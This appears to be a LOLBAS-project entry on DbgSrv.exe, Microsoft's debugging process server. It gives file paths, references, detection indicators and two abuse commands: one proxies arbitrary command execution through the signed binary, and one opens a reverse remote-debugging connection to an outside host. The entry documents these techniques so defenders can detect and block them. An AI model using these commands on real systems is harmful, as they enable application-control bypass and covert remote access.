.. /DbgSrv.exe

Star

Paths:

• C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbgsrv.exe
• C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\dbgsrv.exe
• C:\Program Files\Debugging Tools for Windows (x64)\dbgsrv.exe
• C:\Program Files\Debugging Tools for Windows (x86)\dbgsrv.exe

Resources:

• https://github.com/user-attachments/assets/ff08bc79-4cca-4bf8-b659-7025a99c443f
• https://github.com/LOLBAS-Project/LOLBAS/pull/516#issuecomment-5116289639
• https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/dbgsrv-command-line-options
• https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/activating-a-process-server
• https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools
• https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/applications-that-can-bypass-appcontrol
• https://redcanary.com/blog/threat-detection/black-hat-detecting-the-unknown-and-disclosing-a-new-attack-technique/
• https://gist.github.com/analyticsearch/de5c05229d5bf4f8c72016a2a43034eb

Acknowledgements:

• PHYO PAING HTUN (@PhyoPaingHtun)

Detections:

• IOC: DbgSrv.exe spawning a child process after execution with the -c option.
• IOC: DbgSrv.exe command lines containing -c, -pc, clicon=, or hidden.
• IOC: DbgSrv.exe establishing an unexpected outbound connection to an external host.
• IOC: DbgSrv.exe communicating over ports that are not approved for remote debugging.
• IOC: DbgSrv.exe executed from outside an expected Windows Kits or Debugging Tools directory.
• IOC: DbgSrv.exe spawning a command interpreter, script engine, or executable from a user-writable directory.
• IOC: A normally network-inactive process, such as notepad.exe, initiating an external connection shortly after DbgSrv.exe establishes a connection to the same host or infrastructure.
• IOC: DbgSrv.exe launched by explorer.exe on a system where interactive remote debugging is not expected.
• BlockRule: https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/applications-that-can-bypass-appcontrol

Execute

1. Creates a process server and launches the specified command using the DbgSrv.exe -c option.

   dbgsrv.exe -t tcp:port=5005 -c {CMD}

   Use case

   Proxy execution of a command through a trusted Microsoft-signed debugging utility.

   Privileges required

   User

   Operating systems

   Windows

   ATT&CK® technique

   T1127

   Tags

   Execute: CMD

2. Establishes an outbound reverse connection from the DbgSrv process server to a remote debugging client using the clicon option. A connected debugging client can subsequently interact with processes through the remote debugging session.

   dbgsrv.exe -t tcp:clicon={HOST},port={PORT}

   Use case

   Establish a reverse remote-debugging channel through a trusted Microsoft-signed developer utility.

   Privileges required

   User

   Operating systems

   Windows

   ATT&CK® technique

   T1127

   Tags

   Execute: Remote